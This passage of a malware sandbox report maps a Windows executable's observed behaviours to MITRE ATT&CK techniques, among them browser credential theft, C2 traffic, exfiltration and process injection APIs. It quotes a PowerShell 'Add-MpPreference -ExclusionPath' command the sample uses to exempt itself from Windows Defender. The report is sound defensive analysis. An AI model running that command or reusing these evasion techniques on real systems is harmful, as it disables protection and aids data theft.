string)"},{"type":"informative","value":"Contains ability to retrieve process ID (API string)"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access Powershell profile file"},{"type":"informative","value":"Contains references to file movement (imports API)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Able to determine the valid logical drives on the computer"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Able to retrieve the valid logical drives on the computer"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to verify if file exist on disk (API string)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Calls APIs used for find file/directory path"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"},{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"},{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"},{"type":"informative","value":"Calls an API typically used to retrieve default language settings"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Contains ability to retrieve remote session information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"},{"type":"informative","value":"Contains ability retrieve IPv4 mapping information (API string)"},{"type":"informative","value":"Contains ability to query network adapter information (API string)"},{"type":"informative","value":"Contains ability to retrieve internet settings (API string)"},{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"},{"type":"informative","value":"Contains ability to retrieve network parameters of a computer (API string)"},{"type":"informative","value":"Able to retrieve NetBIOS or DNS name associated with the local computer"},{"type":"informative","value":"Contains references to the retrieval of internet session handle (imports API)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"informative","value":"Contains ability to enumerate logon sessions (API string)"},{"type":"informative","value":"Contains ability to enumerate network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"informative","value":"Contains ability to retrieve SID for the specified name (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Able to access Windows networking-related API (String)"},{"type":"informative","value":"Contains ability to query information about shared network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"informative","value":"Possibly checks for the presence of an Antivirus engine"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Discovery","technique":"Permission Groups Discovery","attack_id":"T1069","attack_id_wiki":"https://attack.mitre.org/techniques/T1069","identifiers":[{"type":"informative","value":"Contains ability to enumerate user groups or their members (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"Able to enumerate permission groups in the domain"},{"type":"informative","value":"Loads Windows LDAP client module"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Discovery","technique":"Software Discovery","attack_id":"T1518","attack_id_wiki":"https://attack.mitre.org/techniques/T1518","identifiers":[{"type":"informative","value":"Reads the registry for installed applications"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"},{"type":"informative","value":"Contains ability to move file or directory (API string)"},{"type":"informative","value":"Found named pipe-like string used by malware"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Lateral Movement","technique":"Remote Desktop Protocol","attack_id":"T1021.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/001","identifiers":[{"type":"informative","value":"Contains ability to perform remote desktop activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Calls an API typically used to register an interface (RPC)"},{"type":"informative","value":"Contains ability to perform remote procedure calls (API string)"},{"type":"informative","value":"Contains ability to register RPC protocol sequence (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found mail information locations related strings"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Creates directory on disk"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Able to capture drag-drop file operations"},{"type":"informative","value":"Contains ability to access clipboard data (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Calls an API typically used to copy file from one location to another"},{"type":"malicious","value":"Steals sensitive data from browsers"},{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"},{"type":"suspicious","value":"Accesses potentially sensitive information from local browsers"},{"type":"informative","value":"Contains ability to copy files (API string)"},{"type":"informative","value":"May execute SQL queries"},{"type":"informative","value":"Writes files in a temp directory"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Collection","technique":"Archive via Utility","attack_id":"T1560.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/001","identifiers":[{"type":"informative","value":"YARA signature match - Detects 7zip files"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains ability to create a new HTTP request (API string)"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contains ability to create a HTTP or FTP session (API string)"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts domains"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Dropped files"},{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Contains ability to download a file from a URL (API string)"},{"type":"informative","value":"Contains ability to retrieve remote user information"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"malicious","value":"Contacts many different hosts"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Calls an API typically used to send the specified request to the HTTP server"},{"type":"informative","value":"GETs files from a webserver (HTTPS)"},{"type":"informative","value":"Contains ability to set options for internet handles (API string)"},{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"informative","value":"Contains ability to perform GET/POST network requests (xmlhttp)"},{"type":"informative","value":"Calls an API typically used to to receive the response to a HTTP requests"},{"type":"informative","value":"GETs files from a webserver"},{"type":"suspicious","value":"Uses a browser-related user-agent without launching browser"},{"type":"informative","value":"Found user-agent related strings"},{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"Tries to GET non-existent files from a webserver"},{"type":"informative","value":"Contains reference to Windows HTTP services (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Command and Control","technique":"Non-Application Layer Protocol","attack_id":"T1095","attack_id_wiki":"https://attack.mitre.org/techniques/T1095","identifiers":[{"type":"informative","value":"Contains ability to communicate with C2 using Sockets (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","identifiers":[{"type":"informative","value":"Found domain strings related to cloud services(possible C&C communication)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"malicious","value":"Detected many DNS responses with a low TTL"},{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Command and Control","technique":"Non-Standard Port","attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Exfiltration","technique":"Scheduled Transfer","attack_id":"T1029","attack_id_wiki":"https://attack.mitre.org/techniques/T1029","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled transfer (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Alternative Protocol","attack_id":"T1048","attack_id_wiki":"https://attack.mitre.org/techniques/T1048","identifiers":[{"type":"informative","value":"Contains ability to transfer data via FTP (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Other Network Medium","attack_id":"T1011","attack_id_wiki":"https://attack.mitre.org/techniques/T1011","identifiers":[{"type":"informative","value":"Contains ability to open/close a dial up connection (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel","attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a webserver"},{"type":"informative","value":"Contains ability to upload file/data"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Able to change the configuration parameters of a service"},{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Calls an API used to change the configuration parameters of a service"},{"type":"informative","value":"Calls an API used to open a process handle"},{"type":"informative","value":"Calls APIs used for Remove Service"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Impact","technique":"Data Encrypted for Impact","attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Able to access crypto-related API (String)"},{"type":"informative","value":"Contains reference to cryptographic keys"},{"type":"informative","value":"Imports crypto-related APIs"},{"type":"informative","value":"Contains ability to perform encryption (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to shutdown system"},{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"tactic":"Impact","technique":"Data Destruction","attack_id":"T1485","attack_id_wiki":"https://attack.mitre.org/techniques/T1485","identifiers":[{"type":"informative","value":"Contains ability to delete device information set (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"Found string \"_compressionReadAheadBufferOverlapped.hEvent\" (Source: \"00000000-00002972.00000000.72622.00001000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to enumerate permission groups in the domain","description":"Found reference string \"NetLocalGroupGetMembers() failed for \"%s\" with %d\" (Indicator: \"netlocalgroupgetmembers\"; Source: \"00000000-00004504.00000000.72490.00001000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1069.002","relevance":1,"id":"string-981","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"$25","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify Windows Defender exclusions (Powershell command string)","description":"Found reference string \"\"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" Add-MpPreference -ExclusionPath \"C:\\8aa7088ebe77e153597c1045f3e181f7bb\" (Indicator: \"add-mppreference\"; Source: \"00000000-00003968-00000C46-83446101184\"), Found reference string \"Add-MpPreference -ExclusionPath \"C:\\8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\"\" (Indicator: \"add-mppreference\"; File: \"powershell.exe\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-980","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to find a resource in a module","description":"\"SearchIndexer.exe\" called \"FindResourceW\" with parameter \"33\" - (UID: 00000000-00004520)\n \"SearchIndexer.exe\" called \"FindResourceW\" with parameter \"34\" - (UID: 00000000-00004520)\n \"SearchIndexer.exe\" called \"FindResourceW\" with parameter \"2813\" - (UID: 00000000-00004520)\n \"SearchIndexer.exe\" called \"FindResourceW\" with parameter \"2246\" - (UID: 00000000-00004520)\n \"SearchIndexer.exe\" called \"FindResourceW\" with parameter \"2342\" - (UID: 00000000-00004520)\n \"SearchIndexer.exe\" called \"FindResourceW\" with parameter \"1751\" - (UID: 00000000-00004520)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to load a resource in memory","description":"\"RegSvcs.exe\" called \"LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4653320'}\" (UID: 00000000-00004636)\n \"RegSvcs.exe\" called \"LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4653352'}\" (UID: 00000000-00004636)\n \"RegSvcs.exe\" called \"LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4653336'}\" (UID: 00000000-00004636)\n \"RegSvcs.exe\" called \"LoadResource with parameter {'hModule': '1922301952', 'hResInfo': '1923428728'}\" (UID: 00000000-00004636)\n \"RegSvcs.exe\" called \"LoadResource with parameter {'hModule': '1922301952', 'hResInfo': '1923427576'}\" (UID: 00000000-00004636)\n \"RegSvcs.exe\" called \"LoadResource with parameter {'hModule': '1922301952', 'hResInfo': '1923427592'}\" (UID: 00000000-00004636)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to create a remote thread (API string)","description":"Found reference to API \"CreateRemoteThread\" (Indicator: \"CreateRemoteThread\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-79","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"$26","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-226","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to detect presence of virtual environment (API string)","description":"$27","origin":"File/Memory","mitre_attack_id":"T1497","relevance":1,"id":"string-253","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate a named-pipe client application (API string)","description":"Found reference to API \"ImpersonateNamedPipeClient\" (Indicator: \"ImpersonateNamedPipeClient\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-165","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"$28","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-306","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load content from resource","description":"Observed function \"ResourceManager.GetObject\" in \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\"","origin":"Static Parser","mitre_attack_id":"T1027","relevance":1,"id":"static-112","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1055.001","relevance":1,"id":"string-318","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify process memory (API string)","description":"Found reference to API \"VirtualAllocEx\" (Indicator: \"VirtualAllocEx\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":1,"id":"string-439","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify system service (API string)","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-192","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"OpenServiceW\" (Indicator: \"OpenService\"; Source: \"00000000-00002220.00000000.70553.40001000.00000020.mdmp, 00000000-00002896.00000000.72391.00001000.00000020.mdmp, 00000000-00002972.00000000.72622.00001000.00000020.mdmp, 00000000-00003376.00000000.70935.4001D000.00000002.mdmp, 00000000-00004204.00000000.71804.00001000.00000020.mdmp\")\n Found reference to API \"OpenService failed.\" (Indicator: \"OpenService\"; Source: \"00000000-00004204.00000000.71804.00001000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; File: \"00004636.0000121C.35638715.00401000.wprm\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to perform remote procedure calls (API string)","description":"Found reference to API \"NdrClientCall2\" (Indicator: \"NdrClientCall2\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"NdrClientCall2\" (Indicator: \"NdrClientCall\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")","origin":"File/Memory","mitre_attack_id":"T1021","relevance":1,"id":"string-160","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe\")\n Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00002220.00000000.70553.40001000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to unmap view of a section from a process (API string)","description":"Found reference to API \"NtUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; Source: \"00000000-00004204.00000000.71804.00001000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.012","relevance":1,"id":"string-90","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00003968.00000001.69471.00780000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"6912f7c0202e89ec7c010238"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - winmgmts:\\\\.\\root\\cimv2; Source: \"00004636.0000121C.35638715.00401000.wprm\")\n Found string - \\\\.\\MountPointManager; Source: \"00000000-00002896.00000000.72391.00001000.00000020.mdmp, 